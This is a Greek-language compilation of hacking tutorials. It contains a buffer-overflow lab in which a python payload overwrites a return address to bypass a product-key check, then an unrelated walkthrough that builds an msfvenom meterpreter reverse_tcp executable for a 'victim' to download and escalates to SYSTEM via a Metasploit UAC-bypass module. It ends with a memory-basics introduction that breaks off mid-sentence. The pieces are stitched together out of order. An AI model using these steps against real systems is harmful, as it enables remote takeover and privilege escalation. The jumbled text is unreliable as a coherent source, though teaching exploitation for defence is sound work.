A buffer overflow (bof), or buffer overrun, is an anomaly whereby a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations (Wikipedia).
Θα αναλύσουμε σε αυτό το άρθρο αυτή την πολύ παλιά ευπάθεια λογισμικού και θα δούμε αν αυτή εξακολουθεί να μετράει…
Από το πρώτο άρθρο του Aleph One (Elias Levy) το 1996, “Smashing The Stack For Fun And Profit“, έχουν περάσει πάνω από 25 χρόνια. Η απάντηση στην ερώτηση “Είναι αυτή η ευπάθεια ακόμα ενεργή;” είναι ένα μεγάλο: ΝΑΙ!
Αλλά πράγματι, σήμερα, με τα σύγχρονα περιβάλλοντα & γλώσσες ανάπτυξης λογισμικού (.Net, J2EE, RoR, κλπ) δεν είναι τόσο εύκολο να πραγματοποιηθεί μια τέτοια επίθεση, αλλά… οι εφαρμογές που δημιουργήθηκαν σε περισσότερο low level γλώσσες προγραμματισμού που είναι ευάλωτες στην buffer overflow (όπως η C ή η C++) εξακολουθούν να υπάρχουν, και είναι πολλές: Web servers, Λειτουργικά Συστήματα, DBMSs και γενικά, σχεδόν σε όλα όσα βάζουμε να “τρέχουν” οι “ασφαλείς” εφαρμογές μας…
Σε αυτή τη σειρά άρθρων θα προσπαθήσω να εξηγήσω στους νεοεισερχόμενους πώς μπορεί να γίνει μια τέτοια επίθεση σε σύγχρονα περιβάλλοντα και Λειτουργικά Συστήματα.
Δεδομένου ότι η συγκεκριμένη επίθεση έχει να κάνει με την αρχιτεκτονική της μνήμης, την αρχιτεκτονική των λειτουργικών συστημάτων και τις συγκεκριμένες υλοποιήσεις μεταγλωττιστών, υπάρχουν αρκετές παραδοχές που πρέπει να κάνουμε.
Θα συζητήσουμε αυτές τις υποθέσεις για κάθε αρχιτεκτονική που επιλέγουμε.
Ας ξεκινήσουμε το ταξίδι μας με Linux…
0x1. Linux 64bit σε εφαρμογή 64bit
Ας δημιουργήσουμε τη δοκιμαστική μας εφαρμογή σε γλώσσα C για να ολοκληρώσουμε τη δοκιμή.
Ο πηγαίος κώδικας είναι ο εξής:
Αυτό το πολύ απλό πρόγραμμα επίδειξης, αυτό που κάνει είναι να λάβει ένα κλειδί προϊόντος ως είσοδο και αν το κλειδί προϊόντος είναι σωστό θα συνεχίσει στην κύρια ροή, διαφορετικά παράγει ένα σφάλμα και εξέρχεται.
Η είσοδος μπορεί να δοθεί από όρισμα της γραμμής εντολών ή (αν δεν δοθούν ορίσματα) θα ζητήσει από τον χρήστη να το εισάγει.
Για να μπορέσουμε να πραγματοποιήσουμε μια επιτυχημένη επίθεση, κάνουμε κάποιες παραδοχές χρησιμοποιώντας συγκεκριμένες σημαίες (flags) του μεταγλωττιστή.
Μεταγλωττίζω το πρόγραμμα ως εξής:
-m64: δημιουργία ενός εκτελέσιμου αρχείου σε αρχιτεκτονική 64bit (για να είμαι ειλικρινής, θα μπορούσα να το παραλείψω στο συγκεκριμένο σύστημα, αφού χρησιμοποιείται ως προεπιλογή).
-g: για την παραγωγή ειδικών μεταδεδομένων για τον αποσφαλματωτή (debugger – που θα χρησιμοποιήσουμε αργότερα)
-fno-stack-protector: κατά την εκτέλεση του προγράμματος δεν θα πραγματοποιείται έλεγχος στοίβας μνήμης (no stack protection).
-z execstack: επιτρέπει την εκτέλεση κώδικα σε τμήμα στοίβας (στη μνήμη).
-o demo: όνομα του τελικού εκτελέσιμου αρχείου θα είναι demo.
Το συγκεκριμένο παράδειγμα έχει υλοποιηθεί στο KALI Linux 2022.4:
Επιπλέον, είναι πολύ σημαντικό να απενεργοποιήσετε την προστασία ASLR (Address Space Layout Randomization).
Για να το κάνετε αυτό, στο kali απλά εισάγετε την εντολή ως root:
Και… btw, αν θέλετε να ελέγξετε, ποια είναι η τρέχουσα κατάσταση του ASLR, εισάγετε αυτό:
$ sudo cat /proc/sys/kernel/randomize_va_space
Στην παρακάτω εικόνα βλέπουμε μια κανονική εκτέλεση του μικρού μου προγράμματος επίδειξης.
Όπως μπορείτε να δείτε, υπάρχουν δύο (τουλάχιστον!!) κύρια τρωτά σημεία στο πρόγραμμα: Είναι όπου χρησιμοποιείται η ευάλωτη συνάρτηση strcpy και ας το δούμε αυτό στην πράξη:
O παραπάνω είναι ένας σχετικά εύκολος ο τρόπος για να ελέγξουμε αν το πρόγραμμά μας είναι ευάλωτο σε μια επίθεση buffer overflow: Δίνουμε ένα πολύ μεγάλο αλφαριθμητικό και στη συνέχεια ελέγχουμε την απόκριση του προγράμματος. Αν λάβουμε ένα ‘segmentation fault’ τότε είναι πιθανό να έχουμε μια ευπάθεια bof (buffer overflow)…
0x1.0x1. Η προσέγγιση ROP
Σύμφωνα με τη Wikipedia: Return-oriented programming (ROP) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.
Ο κύριος στόχος μας εδώ είναι να εκμεταλλευτούμε την ευπάθεια ενός προγράμματος προκειμένου να ανακατευθύνουμε τη ροή του προγράμματος εκεί που μας αρέσει (και εκεί που μπορούμε, βεβαίως βεβαίως)…
Ας εξετάσουμε τη συμπεριφορά του προγράμματος χρησιμοποιώντας τον αποσφαλματωτή gdb.
Βάζουμε ένα σημείο διακοπής (break point) στη γραμμή 7, αμέσως μετά την strcpy, μέσα στη συνάρτηση checkProductKey.
Εκτελούμε την εφαρμογή μέσα στον αποσφαλματωτή ( απλά πληκτρολογούμε dbg ./demo ) περνώντας ένα κανονικό αλφαριθμητικό, προκειμένου να ελέγξουμε πού βρίσκεται η διεύθυνση RET (περισσότερα γι’ αυτό παρακάτω). Έτσι θα έχουμε:
Ας συζητήσουμε μερικά πραγματάκια εδώ…
Η παραπάνω εικόνα χωρίζεται σε 2 κονσόλες:
Η αριστερή κονσόλα είναι ο disassembled κώδικας του προγράμματος που λαμβάνω μετά την τοποθέτηση του σημείου διακοπής στη γραμμή 7 (break 7) και την εισαγωγή disassemble /s main. Η παράμετρος “/s” δίνει εντολή στον αποσφαλματωτή να παράγει τον disassembled κώδικα μαζί με τον αντίστοιχο πηγαίο κώδικα C (thanks to the flag -g στη φάση της μεταγλώττισης).
Η δεξιά κονσόλα είναι η κονσόλα εκτέλεσης στην οποία δουλεύουμε δοκιμάζοντας το πρόγραμμα μας.
Σημειώστε επίσης το εξής σημαντικό: οι διευθύνσεις μνήμης (που ορίζονται με μπλε χρώμα) είναι ίδιες και στις δύο εικόνες. Αυτό είναι πολύ δύσκολο να συμβεί σε πραγματικές καταστάσεις, επειδή αυτές οι διευθύνσεις μπορεί να μην είναι πάντα οι ίδιες κάθε φορά που εκτελούμε το πρόγραμμα. Αυτό συμβαίνει εξαιτίας του ASLR, και γι’ αυτό το λόγο το απενεργοποιούμε, παραπάνω, αλλιώς μπορεί να καταλήξουμε να κυνηγάμε… φαντάσματα, πιστέψτε με! — burned-burned-burned!!
Όπως μπορείτε να δείτε στα ΠΡΑΣΙΝΑ ΚΟΥΤΙΑ τρέχουμε το πρόγραμμα στον αποσφαλματωτή περνώντας 10 “Α” ως όρισμα: run AAAAAAAAAA
Αυτό αποθηκεύεται στη στοίβα (stack – μην μου πείτε οτι δεν το ξέρετε – see part I) καθώς καλείται η συνάρτηση checkProductKey αφού περνάει ως όρισμα στη συνάρτηση.
Μπορούμε να δούμε τη στοίβα στη μνήμη εισάγοντας την εντολή x/24xg $rsp στον αποσφαλματωτή. Αυτή η εντολή δίνει εντολή στον αποσφαλματωτή να εμφανίσει σε δεκαεξαδική μορφή “x”, τις επόμενες 24 θέσεις μνήμης σε γιγαντιαία (“g”) μορφή 8-bytes.
Το $rsp είναι το γνωστό Stack Pointer (το παλιό ESP στα 32bit συστήματα – see again part I) όπου στην περίπτωσή μας δείχνει τις μεταβλητές που πέρασαν ως ορίσματα μέσα στη συνάρτησή μας.
Τα “AAAAAAAAAA” αναπαρίστανται εδώ σε δεκαεξαδική μορφή (“x”) από τον αριθμό “41” που είναι η ASCII δεκαεξαδική αναπαράσταση του γράμματος “A”.
Επίσης, σημειώστε ότι τα 10 “Α” αποθηκεύονται στη θέση μνήμης με αντίστροφη σειρά, καθώς πρόκειται για την αρχιτεκτονική little endian.
Έτσι, η πραγματική συμβολοσειρά που διατηρείται στη στοίβα (στη μνήμη) είναι η “41.41.41.41.41.41.41.41.41.41.00” (έβαλα το “.” για να είναι πιο ευανάγνωστο).
Σημειώστε ότι το “00” είναι ο μηδενικός χαρακτήρας που δηλώνει τον τερματισμό της συμβολοσειράς. Να θυμάστε αυτό το “00” επειδή παίζει σημαντικό ρόλο (ως εμπόδιο) στην ανάπτυξη exploits γενικότερα, και ειδικά στη δημιουργία shellcode (ή bytecode) (περισσότερα για αυτό στο part III). Το βασικό σημείο που πρέπει να γνωρίζετε εδώ είναι το εξής: Η ανάγνωση (ή μερικές φορές η εκτέλεση) μιας σειράς θέσεων μνήμης διακόπτεται όταν το σύστημα συναντήσει ένα byte 00.
Επικεντρωθείτε τώρα στα κόκκινα κουτάκια της εικόνας μας και θυμηθείτε πού βρισκόμαστε: Βρισκόμαστε μέσα στη συνάρτηση checkProductKey.
Όταν η συνάρτηση τελειώσει, η λειτουργικότητα του προγράμματος πρέπει να επιστρέψει στο σημείο που κλήθηκε. Για να είμαστε πιο συγκεκριμένοι: πρέπει να επιστρέψει στη διεύθυνση του καλούντα.
Προκειμένου το σύστημα να θυμάται αυτή τη διεύθυνση, την αποθηκεύει σε μια συγκεκριμένη θέση μνήμης μέσα στο buffer της τρέχουσας συνάρτησης. Ονομάζουμε αυτή τη διεύθυνση: διεύθυνση RET (RETurn). Είναι μια από τις πιο σημαντικές διευθύνσεις των επιθέσεων buffer overflow και θεωρείται το “ιερό δισκοπότηρο” κάθε εκμετάλλευσης μιας αδυναμίας buffer overflow.
Όπως μπορείτε να δείτε στο κόκκινο πλαίσιο στη δεξιά κονσόλα, η διεύθυνση RET αποθηκεύεται στο τέλος του buffer, μετά τη διεύθυνση του αλφαριθμητικού εισόδου μας “AAAAAAAAAA” και κάποιες άλλες διευθύνσεις (όπως ο Base Pointer, κάποιες μεταβλητές περιβάλλοντος κ.λπ. που είναι σημαντικές… αλλά όχι τόσο σημαντικές για την ώρα).
Όπως μπορείτε να φανταστείτε αν εισάγουμε ένα πολύ μεγάλο αλφαριθμητικό εισόδου, μεγαλύτερο από αυτό που έχει κρατήσει το πρόγραμμα μας (στην περίπτωσή μας είναι 12 – λόγω της char key[12]; στη γραμμή 5) τότε αυτό θα γράψουμε από πάνω από όλες τις διευθύνσεις που ακολουθούν αυτή τη μεταβλητή, συμπεριλαμβανομένης της διεύθυνσης RET. Αυτό είναι πολύ σημαντικό και πολύ δύσκολο!
και αυτός είναι ο λόγος:
Έστω οτι δώσουμε αυτό σαν input: “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”.
To buffer μας μπορεί να χωρέσει μόνο τους πρώτους 12 χαρακτήρες (ή bytes στην αρχιτεκτονική i386), συμπεριλαμβανομένου του χαρακτήρα τερματισμού, δηλαδή του “00”. Τι γίνεται λοιπόν με τους υπόλοιπους χαρακτήρες; Μα, θα αντικαταστήσουν τις γειτονικές διευθύνσεις μνήμης… συμπεριλαμβανομένης της διεύθυνσης που βρίσκεται το RET .
Έτσι, η διεύθυνση RET θα γεμίσει με “A”, άρα “AAAAAAAA” ή “4141414141414141”.
Σημειώστε ότι επίτηδες επέλεξα 8 bytes για να δηλώσω τη διεύθυνση σε συστήματα 64bit.
Γενικά, θα πρέπει να γνωρίζετε ότι στα 64bit συστήματα (σε αντίθεση με τα 32bit συστήματα που είδαμε σαν θεωρία στο Part I) έχουμε τις εξής διαφορές:
Οι καταχωρητές γενικού σκοπού έχουν επεκταθεί σε 64-bit. Έτσι έχουμε τώρα τους RAX, RBX, RCX, RDX, RSI και RDI.
Ο Instruction Pointer, ο Base Pointer και ο Stack Pointer έχουν επίσης επεκταθεί σε 64-bit ως RIP, RBP και RSP αντίστοιχα.
Έχουν παρασχεθεί οι πρόσθετοι καταχωρητές: R8 έως R15.
Οι pointers έχουν μήκος 8-bytes.
Τα push/pop στο STACK έχουν μήκος 8-bytes.
To μέγιστο μέγεθος μιας επιτρεπτής διεύθυνσης είναι: 0x00007FFFFFFFFFFFFFFF (περισσότερα σχετικά με αυτό θα πούμε λίγο αργότερα).
Δείτε τώρα τη διεύθυνση RET σε συνδυασμό με μια άλλη πολύ σημαντική διεύθυνση, η οποία είναι αποθηκευμένη στη μνήμη του επεξεργαστή: Ο Instruction Pointer ή $RIP. Αυτή η διεύθυνση έχει πάντα τη διεύθυνση της επόμενης εντολής που θα εκτελέσει το πρόγραμμα. Έτσι, όταν φτάσουμε στο τέλος της συνάρτησης μας, εκτελείται η εντολή $RIP = RET. Έτσι, η λειτουργικότητα του προγράμματος θα επιστρέψει στον καλούντα, αφού η διεύθυνση RET διατηρεί τη διεύθυνση του καλούντος, και για να είμαστε πιο συγκεκριμένοι διατηρεί τη διεύθυνση της επόμενης εντολής από αυτή που κλήθηκε τη συνάρτηση.
Έτσι, στο παραπάνω θεωρητικό μας παράδειγμα η διεύθυνση RET θα γεμίσει με “4141414141414141”, δηλαδή το πρόγραμμα, στο τέλος της συνάρτησης checkProductKey θα προσπαθήσει να μεταβεί στη διεύθυνση 0x4141414141414141.
Αλλά μια τέτοια διεύθυνση δεν υπάρχει στο πλαίσιο του προγράμματός μας, οπότε λαμβάνουμε το γνωστό σφάλμα: segmentation fault
Έχοντας κατά νου τις παραπάνω γνώσεις ας προσπαθήσουμε να εκμεταλλευτούμε το πρόγραμμά μας.
Εξετάζοντας τη δομή $rsp στο αρχικό μας παράδειγμα (στην παραπάνω εικόνα) μπορούμε να δούμε ότι χρειαζόμαστε 3 x 8 bytes προκειμένου να ικανοποιήσουμε τη διεύθυνση RET.
Ας το αποδείξουμε αυτό με το ακόλουθο παράδειγμα:
Όπως μπορείτε να δείτε, εισάγουμε 24 x “A” = “AAAAAAAAAAAAAAAAAAAAAAAA” και τα 8 “B” “BBBBBBBB” αντικαθιστούν τη διεύθυνση RET.
Το πρόγραμμα κατέρρευσε… Αυτό που θα θέλαμε να κάνουμε στην πραγματικότητα είναι να αντικαταστήσουμε την $RIP με μια άκυρη διεύθυνση. Αλλά, στην πραγματικότητα δεν ελέγχουμε καθόλου την $RIP. Έχουμε έλεγχο μόνο στην RET όπως ήδη βλέπετε.
Για την ενημέρωσή σας πρέπει να το ξέρετε αυτό: Το μέγιστο μέγεθος διεύθυνσης που μπορούμε να χειριστούμε στην αρχιτεκτονική 64bit είναι 0x00007FFFFFFFFFFFFFFF. Αυτό που κάναμε μέχρι εδώ, είναι ότι γράψαμε επάνω στην $RIP, μέσω της RET, τη μη κανονική διεύθυνση 0x4242424242424242, η οποία προκαλεί τον επεξεργαστή να εγείρει μια εξαίρεση.
[Αν έχετε μπερδευτεί λίγο με τις 64μπιτες διευθύνσεις, μπορείτε να διαβάσετε περισσότερα για αυτή την αρχιτεκτονική των 64bit εδώ.]
Οπότε, ο στόχος ήταν να βρούμε το offset με το οποίο θα αντικαταστήσουμε την RET και κατά συνέπεια την $RIP με μια κανονική (υπαρκτή) διεύθυνση.
Για το λόγο αυτό χρησιμοποιώ ένα κυκλικό μοτίβο (ας πούμε “AAAAAABBBB” κλπ) και το δοκιμάζω μέχρι να καταλήξω στην απαραίτητη διεύθυνση (και ναι, ξέρω ότι υπάρχουν και άλλες δημοσιευμένοι μέθοδοι που υπολογίζουν διαφορετικά το απαιτούμενο offset, αλλά αυτή που παρουσίασα εδώ επίσης λειτουργεί… οπότε… ΟΚ! 😎 ).
Έτσι, θα πάω να αντικαταστήσω το “BBBBBBBBBB” με μια υπάρχουσα διεύθυνση του υπάρχοντος πηγαίου κώδικα (Code Segment) προκειμένου να παρακάμψω τους ελέγχους που γίνονται στον κώδικα για το σωστό κλειδί.
Αυτή η διεύθυνση είναι η ακόλουθη:
Σε αυτό το σημείο έχουν περάσει όλοι οι έλεγχοι σχετικά με το κλειδί προϊόντος, και αυτό είναι που ονομάζω ROP (βλ. τον τίτλο της παραγράφου).
Πρέπει να αντικαταστήσω το “B” με αυτή τη διεύθυνση: 0x0000555555555261
Αλλά πρέπει να περάσω την τιμή της ως bytes… και όχι ως συμβολοσειρά! Πώς να το κάνω αυτό;
Υπάρχουν διάφοροι τρόποι για να περάσετε αυτό το αλφαριθμητικό ως “bytes” στον αποσφαλματωτή:
Θα επιλέξω τον πιο γρήγορο… ρίξτε μια ματιά εδώ:
Ας εξετάσουμε λίγο την επίθεση “string” :
Εδώ χρησιμοποιώ λίγο την python v.2 (και στην v.3 λειτουργεί επίσης αν βάλω την εκτύπωση συμβολοσειράς σε παρενθέσεις: “(” και “)” ) : python2 -c ‘print “1”*24 + “\x55\x55\x55\x55\x55\x52\x61″[::-1]’
Αντί να γράψω μια εξήγηση σε κείμενο εδώ θα δείξω την εικόνα του αποτελέσματος όταν το εκτελώ στη γραμμή εντολών:
Όπως μπορείτε να δείτε, περνάω τα παραπάνω αποτελέσματα, ως όρισμα γραμμής εντολών στο dbg χρησιμοποιώντας τον συμβολισμό run $( <SYSTEM_COMMAND> ).
Αυτός είναι ένας εύκολος τρόπος για να περάσετε τη συμβολοσειρά της γραμμής εντολών ως bytes σε ένα πρόγραμμα.
Το πρόγραμμα “σκάει” (με segmentation fault), αλλά στο τέλος, έκανα μια επιτυχημένη ανακατεύθυνση, όπως μπορείτε να δείτε το μήνυμα ‘Welcome’ (στο πράσινο πλαίσιο παραπάνω). Έτσι, παρακάμπτω τον μηχανισμό ελέγχου!!
Σημειώστε επίσης, τον τρόπο με τον οποίο περνάω τη διεύθυνση στόχου, με αντίστροφη σειρά: ο συμβολισμός [::-1] της python απλά έβαλε τη δεκαεξαδική συμβολοσειρά αντίστροφα.
Έτσι, το “55.55.55.55.55.52.61” θα μπει στα string arguments ως “61.52.55.55.55.55.55.55” (θυμηθείτε την αρχιτεκτονική little endian που ανέφερα παραπάνω).
Σημαντική σημείωση: το “555555555261” τοποθετείται στη μνήμη με αντίστροφη σειρά ανά ζεύγος: το “55.55.55.55.55.52.61” θα τοποθετηθεί στη μνήμη ως “61.52.55.55.55.55.55“.
Και γενικά, κάθε διεύθυνση μνήμης που θα διαβάσουμε, είναι μια σειρά από ζεύγη – ή μια σειρά από 1 byte (8bits, από το 0 έως το 255 – ή αλλιώς 2^8=256 πιθανές διαφορετικές τιμές). “Historically, the byte was the number of bits used to encode a single character of text in a computer and for this reason it is the smallest addressable unit of memory in many computer architectures.” (wikipedia)
Το ίδιο ισχύει και για τα i386 64-bit Windows 10 αλλά και στο i386 64-bit Kali Linux.
Επιπλέον, ο συμβολισμός ‘\x’ υποδηλώνει ότι μιλάω στο πρόγραμμα όχι σε δεκαδικό αλλά σε δεκαεξαδικό σύστημα.
Το κάνω αυτό επειδή ο αποσφαλματωτής εμφανίζει τις διευθύνσεις μνήμης σε δεκαεξαδική σημειογραφία.
Αν αναρωτιέστε γιατί ο αποσφαλματωτής προτιμά τη δεκαεξαδική σημειογραφία, θα έλεγα το εξής:
Η δεκαδική αναπαράσταση της δεκαεξαδικής διεύθυνσης 555555555261 είναι αυτός ο αριθμός: 93824992236129. Λοιπόν, φαίνεται σαν έναν τηλεφωνικό αριθμό, ε;! 😆
Έτσι… δεν είναι τόσο εύκολο για τον άνθρωπο να αντιμετωπίσει τόσο μεγάλους αριθμούς μήκους. Η δεκαεξαδική σημειογραφία είναι πιο εύχρηστη και συνεπώς διαχειρίσιμη. Αυτός είναι ο λόγος για τον οποίο έχει υιοθετηθεί από (σχεδόν) όλα τα προγράμματα εντοπισμού σφαλμάτων στον κόσμο για την αναπαράσταση διευθύνσεων η 16δική αναπαράσταση.
Μέχρι στιγμής, λοιπόν, έχω εκτελέσει, στην ουσία, ένα “goto” (θυμάστε στη BASIC την εντολή goto😉 ή ένα JUMP (assembly-wise) με τη χρήση του debugger.
Αυτό που χρειάζομαι τώρα είναι να κάνω το ίδιο στο τελικό εκτελέσιμο από τη γραμμή εντολών σε μια κονσόλα, και ΟΧΙ με τη χρήση του dbg.
Λοιπόν, η απάντηση φαίνεται αρκετά απλή: Απλά το τρέχω από τη γραμμή εντολών αυτό:
Όπως μπορείτε να δείτε, ανοίγω την οθόνη καλωσορίσματος χωρίς να πληκτρολογήσω κανένα κλειδί προϊόντος και μόλις δημιούργησα την πρώτη μου εκμετάλλευση buffer overflow… 😎
Σημειώστε ότι τα αποτελέσματα στην παραπάνω εικόνα δεν είναι πάντα τόσο προφανή, ειδικά όταν πειράζουμε τις διευθύνσεις μνήμης και τη στοίβα απευθείας. Αρκετές φορές αυτό που βλέπω στον αποσφαλματωτή δεν είναι ακριβώς το ίδιο με αυτό που βλέπω όταν εκτελώ το πρόγραμμα απευθείας από τη γραμμή εντολών και αυτό είναι πολύ συνηθισμένο όταν πρέπει να αναφερθώ σε διευθύνσεις στη στοίβα (και όχι στο τμήμα κώδικα όπως έκανα εδώ).
Τέτοιο παράδειγμα θα δούμε στο Μέρος ΙΙI αυτής της σειράς άρθρων, όταν θα δείξω πώς να βάλω ένα “shell” στη στοίβα και πώς να το εκτελέσω. Επιπλέον στο Μέρος ΙΙI θα δούμε τι είναι το bytecode, πώς θα δημιουργήσουμε ή θα βρούμε κάποιους έτοιμα byte-codes και πώς θα τα ελέγξουμε. Θα δούμε, οτι σε τέτοιες περιπτώσεις ότι τα αποτελέσματα μπορεί να μην είναι τόσο ντετερμινιστικά όσο θα περιμέναμε…
Το UAC (User Account Control) είναι o έλεγχος λογαριασμού χρήστη είναι ένα προειδοποιητικό μήνυμα που μας ενημερώνει και ζητάει την επιβεβαίωση μας κάθε φορά που θέλουμε να τρέξουμε ένα αρχείο που απαιτεί δικαιώματα διαχειριστή. Μια φωτογραφία..
Ωραία αφού μάθαμε τι είναι το UAC πάμε να ξεκινήσουμε.. αρχικά θα δείξω έναν πολύ απλό τρόπο για να πάρουμε meterpreter session (access) στο θύμα μας.
Ανοίξτε το terminal και > msfvenom -p windows/meterpreter/reverse_tcp LHOST=[TOPIKH IP MAS (IFCONFIG)] LPORT=[RANDOM PORT PX 4040] -f exe > ~/Desktop/root.exe
Αυτό για windows μηχανήματα.. μπορείτε να το ανεβάσετε στον apache για να το κατεβάσει το θύμα σας.
Ανοίγουμε το metasploit (service postgresql start + msfconsole) μπορείτε να το κάνετε και με το armitage που παρέχει γραφικό περιβάλλον.
Θα χρησιμοποιήσουμε το κλασικό multi/handler οπότε use exploit multi/handler και πατάμε enter.
Βάζουμε τα settings [show options] το payload το lhost + lport τα οποία τα βάλαμε στην δημιουργία το κακόβουλου αρχείου (με το msfvenom).
Και πατάμε exploit.. αφού τρέξει το θύμα μας το αρχείο βλέπουμε ότι έχουμε πρόσβαση μπορούμε να κάνουμε migrate σε κάποιο άλλο process.
Αν πατήσουμε getsystem θα μας έχει error.. οπότε πάμε. Πατάμε background.. το session μας .
Τώρα θα τρέξουμε το exploit use exploit/windows/local/bypassuac_injection για να κάνουμε bypass.. βάζουμε σαν setting το session [set SESSION 1] και πατάμε exploit.
Μας άνοιξε νέο session [sessions] και πατάμε getsystem και βλέπουμε.. got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
Το συγκεκριμένο άρθρο είναι το πρώτο μέρος μιας σειράς που θα περιγράψει την αδυναμία Buffer Overflow. Σε αυτό το πρώτο μέρος, θα δώσουμε την απαιτούμενη (στοιχειώδη) γνώση ή σε απλά Ελληνικά: “το απαιτούμενο background”, που χρειάζεται σε κάποιον, ώστε να μπορέσει κατανοήσει τον βαθύτερο λόγο που μπορεί να συμβεί μια τέτοια επίθεση, ώστε να μπορέσει να εφαρμόσει μέτρα (ακόμα και ο ίδιος) μήπως και καταφέρει να μειώσει την πιθανότητα υλοποίησης αυτής της απειλής.
Κάθε εφαρμογή που τρέχουμε στον υπολογιστή μας όσο απλή ή σύνθετη κι αν είναι γράφτηκε από κάποιον προγραμματιστή. Οι αρχές εκτέλεσης ενός προγράμματος είτε πρόκειται για το ίδιο το λειτουργικό σύστημα είτε για ένα ταπεινό πρόγραμμα πρόσθεσης δύο αριθμών είναι παρόμοιες ή σχεδόν παρόμοιες.
Πρώτα απ’ όλα έχουμε το πρόγραμμα που φτιάχνει ο προγραμματιστής το οποίο αποτελείται από εντολές κατανοητές μόνο από ανθρώπους και ονομάζεται πηγαίος κώδικας ή απλά κώδικας. Αυτός ο κώδικας λοιπόν περνάει από μια ειδική επεξεργασία από άλλα προγράμματα που ονομάζονται μεταφραστές (compilers) ή διερμηνευτές (interpreters) για να μεταφραστεί σε κάτι που είναι κατανοητό μόνο (μόνο; Χμ, τέλος πάντων) από τον επεξεργαστή του υπολογιστή μας.
Θα μας πείτε τώρα ποια η διαφορά ενός compiler από έναν interpreter. Χμ, αρκετά μεγάλη: Οι compilers μεταφράζουν όλο τον πηγαίο κώδικα και παράγουν ένα νέο πρόγραμμα που ονομάζεται εκτελέσιμο (το γνωστό exe ή com). Το εκτελέσιμο αρχείο αποτελείται από εντολές μηχανής (όπως λέγονται) και που αντιστοιχούν σε αυτές που γράφτηκαν στον πηγαίο κώδικα. Είναι αυτό το αρχείο που όταν εκτελεστεί θα υλοποιήσει τις εντολές του αντίστοιχου πηγαίου του κώδικα. Μεταγλωττιστές χρησιμοποιούνται συνήθως για να μεταφράσουν κώδικα σε γλώσσες όπως οι C, C++, Pascal, κλπ.
Οι διερμηνευτές (interpreters) από την άλλη, μεταφράζουν τον πηγαίο κώδικα εντολή-εντολή: Τον διαβάζουν στην μνήμη και τον εκτελούν (συνήθως) γραμμή – γραμμή. Δεν παράγουν (…πάντα) κάποιο εκτελέσιμο αρχείο, αφού ο ίδιος ο πηγαίος κώδικας μεταφράζεται και εκτελείτε εκείνη την χρονική στιγμή που διαβάζεται. Διερμηνευτές υπάρχουν για τις γνωστές γλώσσες ανάπτυξης web εφαρμογών όπως η PHP και η ASP.
Η κάθε μια προσέγγιση φυσικά έχει τα καλά της και τα κακά της: Συνήθως τα προγράμματα που έχουν προέλθει από κάποιον compiler είναι πολύ πιο γρήγορα και απαλλαγμένα από συντακτικά λάθη που μπορεί να έκανε ο προγραμματιστής όταν τα έφτιαχνε. Αυτό το τελευταίο ισχύει διότι η συντακτικός έλεγχος γίνεται όταν παράγεται το εκτελέσιμο και αν βρεθεί λάθος, εκτελέσιμο δεν έχει! 😉 Επίσης το εκτελέσιμο είναι (λέμε τώρα…!! πολύ δύσκολο να διαβαστεί από κάποιον τρίτο ο οποίος θα προσπαθήσει (για οποιονδήποτε λόγο) να «κλέψει» τον κώδικα που έγραψε ο προγραμματιστής. Από την άλλη μεριά τα προγράμματα που περνάνε από διερμηνευτές είναι πολύ πιο εύκολα στην συντήρηση, αφού δεν απαιτείται η διαδικασία του compilation (όπως λέγεται) ούτε και απαιτείται κάποιο ξεχωριστό εκτελέσιμο. Για μικρές αλλαγές στον κώδικα είναι ιδανικά και γρήγορα!
Υπάρχει όμως και μια τρίτη κατηγορία που βρίσκεται κάπου στη μέση. Πρόκειται για τις λεγόμενες εικονικές μηχανές (Virtual Machines – όχι δεν εννοούμε το VMWare ή το Virtual Box, μην το μπερδέψετε!) που παράγουν ένα ψευτο-εκτελέσιμο κώδικα (intermediate code), ο οποίος απαιτεί την ύπαρξη μιας «εικονικής μηχανής» για να τρέξει. Τέτοιες προσεγγίσεις έχουν φτιαχτεί για τις γλώσσες Java και για το γνωστό και μη εξαιρετέο Microsoft .Net. Βέβαια μη νομίζετε ότι αυτή η ιστορία είναι και τόσο πολύ καινούρια! Την 10ετία του 1980 υπήρχε το περίφημο P-System της Pascal, και είχαν φτιαχτεί γι’ αυτό ουκ-ολίγες εφαρμογές! Τα πλεονεκτήματα της virtual machine είναι η φορητότητα, η ασφάλεια κλπ. Για την ταχύτητα θα έλεγε κανείς ότι σίγουρα είναι καλύτερα από τον interpreter αλλά ίσως λίγο χειρότερα από τον compiler.
Ας έρθουμε όμως στην εκτέλεση του προγράμματος, που είναι και αυτό που μας ενδιαφέρει. Θα ασχοληθούμε με την εκτέλεση ενός προγράμματος που έχει μεταγλωττιστεί από κάποιον compiler χωρίς αυτό να σημαίνει ότι οι υπόλοιπες προσεγγίσεις (interpreters και virtual machines) διαφέρουν πολύ σε υλοποίηση. Να πούμε οτι σε αυτό το άρθρο (τουλάχιστον) για αναφερθούμε για λόγους απλότητας σε υλοποιήσεις που βασίζονται στους επεξεργαστές της Intel (AMD και συμβατούς) και σε αρχιτεκτονική 32-bit.
Κάθε πρόγραμμα που εκτελείται στην μνήμη του υπολογιστή μας χρησιμοποιεί τρία βασικά μέρη της μνήμης RAM:
Το μέρος του Κώδικα (code section).
Το μέρος των Δεδομένων (data section).
Το μέρος της Στοίβας (stack).
Πριν αναλύσουμε ένα-ένα τα μέρη αυτά θα θέλαμε να σας πούμε λίγα λόγια για την μνήμη. Η μνήμη του υπολογιστή είναι σαν τις κλειδοθήκες στην reception ενός ξενοδοχείου. Οι κλειδοθήκες λοιπόν, έχουν απ’ έξω γραμμένο ένα αριθμό που είναι ο αριθμός δωματίου και μέσα περιέχουν (ή δεν περιέχουν) το κλειδί. Έτσι ακριβώς λειτουργεί και η μνήμη του υπολογιστή μας: Περιέχει εκατομμύρια κουτάκια με νούμερα τα οποία νούμερα τα ονομάζουμε διευθύνσεις και μέσα σε αυτές φυλάσσονται τα δεδομένα μας. Κάθε κουτάκι μπορεί να δεχτεί συγκεκριμένου μεγέθους δεδομένα. Αν τα δεδομένα που θέλουμε να αποθηκεύσουμε στην μνήμη είναι πολλά (που σχεδόν πάντα είναι) τότε μοιράζονται σε πολλά κουτάκια. Όπως θα φαντάζεστε, πάρα πολλά κουτάκια παραμένουν άδεια διότι απλά δεν έχουν τοποθετηθεί ακόμα μέσα τους δεδομένα. Αυτό όμως δεν σημαίνει ότι δεν έχουν και 